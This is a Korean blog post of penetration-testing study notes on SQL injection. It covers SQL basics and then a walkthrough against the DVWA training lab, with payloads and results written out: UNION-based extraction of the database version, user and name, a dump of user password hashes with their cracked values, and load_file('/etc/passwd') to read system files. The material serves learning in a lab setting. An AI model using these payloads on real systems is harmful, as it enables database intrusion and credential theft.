새로운 공간

SQL Injection 본문

모의해킹/kail 모의해킹

SQL Injection

jin._. 2023. 7. 24. 10:18

SQL -> DBMS에서 사용하는 언어(Structured Query Language)

* DBMS : CRUD

DB : 구조적 데이터를 저장하는 컨테이너(파일 or 파일 모음)

 

 

Table : 특정한 종류의 데이터를 구조적 목록으로 묶은 것

> 기본 데이터 타입 : 정수 / 실수 / 논리 / 문자

 

DB 운영 방식 / 규칙 -> 스키마 : DB, 테이블 레이아웃 및 속성 정보, 데이블에는 특성과 속성이 있어서 데이터 저장 방식을 정의한다.

 

특정(기능)과 속성 : 객체

 

세로 : 열->테이블 내의 각 필드, 특정한 정보 조각을 담는 역할 : 인덱스 번호

 

가로(행) : Primary key(!!중복되면 안됨)에 의해 접근할 수 있는 데이터의 묶음 : 객체명

 

ROW : RAW->Meta

* RAW : 2/bin

*Meta : 수정되지 않은 원본 상태

 

SQL

DDL : 데이터 정의 : 테이블에서 데이터 구조를 설정, 변경, 제거

> Create, alterm drop

DML : 데이터 조작어 : 데이터베이스의 테이블에서 새 행입력, 기존 행 변경 및 필요없는 행 제거를 수행

> Insert, select(quert), deletem update

DCL : 데이터 제어어 : 해당 구조에 대한 엑세스 권한을 부여하거나 제거

> grant / privileges >> reload

 

명령을 전달 >> DBMS

>> 즉시 실행시키지 않고 모아서 처리 : Batch

>>명령어를 전달받는데, 여러개의 명령어 >> 명령어 전달(commit)이 완료___취소되면 rollback

 

결국 SQL : Select 문

1. 선택기능 : 테이블에서 질의 결과로 반환 될 행을 선택할 수 있으며, 다양한 조건을 사용하여 표시될 행을 ~

2. 

3. 조인기능 : 서로 다른 테이블간의 링크를 생성하여 각 테이블의 저장된 데이터를 가져올 수 있다.

select 특정 행 선택 (!) -> join -> 하나의 view를 생성할 수 있다.

select 특정 행 선택 (2) -> join -> 하나의 view를 생성할 수 있다.

 

 

 

-------- DVWA---------

 

User id : 1 입력

User ID의 값은 일반적으로 Primart key ---> AI(유니크)--> 정수 데이터

==> 1 정수형 데이터를 입력 했더니 sql 문에 의한 쿼리가 요청되었고 결과값을 출력하였다.

 

 

db connect = "select filed명 frome db.table"

---> 1 입력....................."1"    or  '1'

 

a=input("User ID")

B = "select " + a + " frome db.table;"

확인 :  진짜로 위의 코드와 같이 동작하는지 여부를 판단.

계정 생성 : create user ''jin@localhost";

문자도 아니면서 user-id도 아닌 특수문자를 생각할 수 있다.

 

'1'--> 유추 가능 --> 입력값을 ' ---> '''  문법에러 발생

 

SQL인젝션 취약점 판다 : " ' " 를 입력해본다.

 

사용자가 입력한 " ' "가 SQL문과 직접적으로 

 

 

 

SQL 인젝션 : 기본코드 : a' or ' ' = '

'a' or ' ' =  ' ' : 논리 연산자 : 하나라도 참이면 참이다.

DBMS의 변환값은 언제나 논리형 데이터 타입이다 ::: T.F

0, NULL=---> "F"......이외의 값은 T

 

 

문법 오류가 발생하지 않고 최종변환값이 T로 만들어야 한다.

>>1 

 

USERID를 검색하여 데이블을 만들고 가공처리 프로젝션 기능 // 프로젝션 기능 (특정 ID 값 추출)---> 뷰 생성

 

select 쿼리 -> 인자 2개 : 합쳐서 출력 : join---> 명령어 : union

확인 명령어

'union select @@version # '

 

에러 발생

--> 문법 오류 : SQL 인젝션 취약점이 있다

--> The used SELECT statements have a different unmber of columns

 

@@version 

 

 

현재 칼럼의 갯수

사용자의 입력값__id :1

칼럼 1__ First name : admin

칼럼 2__ Sername : admin

'union select 1, @@version #' : 쓰레기 칼럼을 추가하자.

*1, @@version #' : 칼럼 1의 출력 값

*@@version # : 칼럼 2의 출력값

 

ID: 'union select 1, @@version #'
First name: 1
Surname: 10.3.35-MariaDB

 

order by : 칼럼의 갯수애 맞춰서 정렬해라>> 칼럼의 갯수가 맞을 때 동작

1'order by 1 #

 

입력값--->결과값

ID: 1'order by 1 #
First name: admin
Surname: admin

 

입력값--->결과값

1'order by 2 #

ID: 1'order by 2 #
First name: admin
Surname: admin

 

입력값--->결과값

1'order by 3 #

칼럼의 갯수가 몇개인지를 사전에 파악하고 들어갈 수 있는데,

위와 같이 오류가 발생된다. 

결론 : 반환되는 칼럼의 갯수는 2개이다.

 

테스트 : 'union select 1,2 #

 

테스트 : 'union select 1,2,3 #   ---> 오류 발생

결과 : 컬럼의 갯수가 맞지 않는 경우  오류 발생

 

select user()  : first_name

select current_user()  : surname

 

'union select user(), 2 #'

ID: 'union select user(), 2 #'
First name: root@localhost
Surname: 2

 

'union select user(), current_user() #

ID: 'union select user(), current_user() #
First name: root@localhost
Surname: root@localhost

 

계정이름은 root, 이 계정은 아무곳에서나 들어갈 수 있다?

 

'union all select user(), current_user() #

ID: 'union all select user(), current_user() #
First name: root@localhost
Surname: root@localhost

 

현재 사용되는 데이터베이스의 이름을 확인 : database()

'union all select 1, database() #

ID: 'union all select 1, database() #
First name: 1
Surname: dvwa <---- 데이터베이스의 이름

 

데이터베이스 동작 스키마 정보!

내부 : 하드디스크

외부 : 

개념 :

 

 

'union select null, concat(first_name,0x0a, password) from users #

ID: 'union select null, concat(first_name,0x0a, password) from users #
First name: 
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: 'union select null, concat(first_name,0x0a, password) from users #
First name: 
Surname: Gordon
e99a18c428cb38d5f260853678922e03

ID: 'union select null, concat(first_name,0x0a, password) from users #
First name: 
Surname: Hack
8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'union select null, concat(first_name,0x0a, password) from users #
First name: 
Surname: Pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'union select null, concat(first_name,0x0a, password) from users #
First name: 
Surname: Bob
5f4dcc3b5aa765d61d8327deb882cf99

 

>>> 추출된 정보 정리

mysql-maria DB의 비밀번호는 MD5 암호화 되어 있다.

admin : 5f4dcc3b5aa765d61d8327deb882cf99  :password

Gordon: e99a18c428cb38d5f260853678922e03  : abc123

Hack : 8d3533d75ae2c3966d7e0d4fcc69216b : charley

Pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 : letmein

bob : 5f4dcc3b5aa765d61d8327deb882cf99 :password

>> 코드값의 길이는 같다.

 

디코딩 사이트.

https://md5.web-max.ca/index.php#enter

 

sql 함수 : load_file()

'union all select 1, load_file()

 

'union select null, load_file('/etc/passwd') #

'union select null, load_file('/etc/passwd') #

 

일반 SQL 인젝션 탐지 : or / and --> +or+

join >> 'union ---> %27union'

 

snort 룰셋 수정

 

칼리에서  DVWA 공격

 

Cent os 7에서 이렇게 뜸

 

'모의해킹 > kail 모의해킹' 카테고리의 다른 글

NMAP  (0) 2023.09.01
SQL Injection (Blind)  (0) 2023.07.24
nmap?  (0) 2023.07.07
Pcap  (0) 2023.07.05
kali 한글 깨짐  (0) 2023.07.03